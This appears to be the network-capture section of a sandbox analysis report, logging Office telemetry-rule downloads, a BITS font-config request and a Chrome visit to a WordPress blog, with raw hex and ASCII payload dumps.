2024-12-03 14:32:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 41e0821a-f01e-001f-65ee-445dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143213Z-174f7845968jrjrxhC1EWRmmrs000000166g00000000bg73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.9	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:13 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7b1224ad-601e-0097-014f-44f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143213Z-174f7845968xr5c2hC1EWRd0hn0000000qy0000000009nk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49730	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:14 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 14:32:15 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=170714 Date: Tue, 03 Dec 2024 14:32:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.9	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:15 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:15 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fbe1121d-d01e-0082-7beb-44e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143215Z-174f78459685m244hC1EWRgp2c00000015tg00000000k0c4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.9	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:15 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 8eb7c5a6-701e-0097-59ef-44b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143215Z-174f7845968xlwnmhC1EWR0sv800000015ug00000000g8w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.9	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:15 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:15 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 21fb2ca2-701e-006f-1cf2-44afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143215Z-174f7845968xlwnmhC1EWR0sv800000016000000000015pr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:16 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.9	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:15 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:15 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143215Z-174f78459684bddphC1EWRbht400000015wg00000000205a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:16 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.9	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:15 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143215Z-174f7845968n2hr8hC1EWR9cag00000015m000000000ma2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49736	176.31.121.57	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:16 UTC	659	OUT	GET / HTTP/1.1 Host: oyatsu-jikan.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 14:32:17 UTC	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Link: <https://oyatsu-jikan.org/wp-json/>; rel="https://api.w.org/" Set-Cookie: read_key_site_cookie=read_key_site_cookie; expires=Wed, 04-Dec-2024 14:32:16 GMT; Max-Age=86400
2024-12-03 14:32:17 UTC	16063	IN	Data Raw: 31 66 31 63 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 66 75 6e 63 74 69 6f 6e 20 76 61 6c 69 64 61 74 65 45 6d 61 69 6c 28 72 65 66 65 72 72 65 72 29 20 7b 0a 76 61 72 20 72 65 20 3d 20 2f 5e 28 28 5b 5e 3c 3e 28 29 5b 5c 5d 5c 2e 2c 3b 3a 5c 73 40 5c 22 5d 2b 28 5c 2e 5b 5e 3c 3e 28 29 5b 5c 5d 5c 2e 2c 3b 3a 5c 73 40 5c 22 5d 2b 29 2a 29 7c 28 5c 22 2e 2b 5c 22 29 29 40 28 28 5c 5b 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 5d 29 7c 28 28 5b 61 2d 7a 41 2d 5a 5c 2d 30 2d 39 5d 2b 5c 2e 29 2b 5b 61 2d 7a 41 2d 5a 5d 7b 32 2c 7d 29 29 24 2f 3b 0a 72 65 74 75 72 6e 20 72 65 2e 74 65 73 74 28 72 65 66 Data Ascii: 1f1c<script type="text/javascript">function validateEmail(referrer) {var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;return re.test(ref
2024-12-03 14:32:17 UTC	16384	IN	Data Raw: 65 61 64 69 6e 67 73 2d 63 73 73 27 20 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 65 72 72 69 77 65 61 74 68 65 72 25 33 41 34 30 30 25 32 43 37 30 30 26 23 30 33 38 3b 76 65 72 3d 35 2e 39 27 20 74 79 70 65 3d 27 0d 0a 31 66 66 38 0d 0a 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6d 61 6e 74 72 61 2d 6d 6f 62 69 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6f 79 61 74 73 75 2d 6a 69 6b 61 6e 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 6d 61 6e 74 72 61 2f 72 65 73 6f 75 72 63 65 73 2f 63 73 73 2f 73 74 79 6c 65 2d Data Ascii: eadings-css' href='//fonts.googleapis.com/css?family=Merriweather%3A400%2C700&ver=5.9' type='1ff8text/css' media='all' /><link rel='stylesheet' id='mantra-mobile-css' href='https://oyatsu-jikan.org/wp-content/themes/mantra/resources/css/style-
2024-12-03 14:32:17 UTC	16384	IN	Data Raw: 74 2d 77 61 73 2d 6e 69 63 65 2d 77 68 69 6c 65 2d 69 74 2d 6c 61 73 74 65 64 2f 22 3e 20 43 6f 6e 74 69 6e 75 65 20 72 65 61 64 69 6e 67 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 74 61 2d 6e 61 76 22 3e 26 72 61 72 72 3b 20 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 70 3e 0a 09 09 09 09 09 09 0d 0a 31 66 66 38 0d 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2e 65 6e 74 72 79 2d 73 75 6d 6d 61 72 79 20 2d 2d 3e 20 0a 09 09 09 09 09 09 09 09 3c 66 6f 6f 74 65 72 20 63 6c 61 73 73 3d 22 65 6e 74 72 79 2d 6d 65 74 61 32 22 3e 0a 09 09 09 09 09 09 3c 2f 66 6f 6f 74 65 72 3e 3c 21 2d 2d 20 23 65 6e 74 72 79 2d 6d 65 74 61 20 2d 2d 3e 0a 0a 09 3c 2f 61 72 74 69 63 6c 65 3e 3c 21 2d 2d 20 23 70 6f 73 74 2d 33 32 34 33 20 2d 2d 3e 0a 09 0a 09 0a 0a 09 09 09 09 0a 09 09 Data Ascii: t-was-nice-while-it-lasted/"> Continue reading <span class="meta-nav">→ </span></a></p>1ff8</div>... .entry-summary --> <footer class="entry-meta2"></footer>... #entry-meta --></article>... #post-3243 -->
2024-12-03 14:32:17 UTC	5719	IN	Data Raw: 3d 22 73 52 47 42 22 20 74 79 70 65 3d 22 6d 61 74 72 69 78 22 20 76 61 6c 75 65 73 3d 22 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 0d 0a 31 35 65 35 0d 0a 31 31 34 20 30 20 30 20 22 20 2f 3e 3c 66 65 43 6f 6d 70 6f 6e 65 6e 74 54 72 61 6e 73 66 65 72 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 3e 3c 66 65 46 75 6e 63 52 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 20 30 2e 34 39 38 30 33 39 32 31 35 36 38 36 32 37 22 20 2f 3e 3c 66 65 46 75 6e 63 47 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 Data Ascii: ="sRGB" type="matrix" values=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .15e5114 0 0 " /><feComponentTransfer color-interpolation-filters="sRGB" ><feFuncR type="table" tableValues="0 0.49803921568627" /><feFuncG type="table"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49738	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 14:32:17 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=77588 Date: Tue, 03 Dec 2024 14:32:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-03 14:32:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.9	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:17 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 37db9b91-d01e-0066-0516-41ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143218Z-174f7845968pght8hC1EWRyvxg000000098g0000000066ha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.9	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
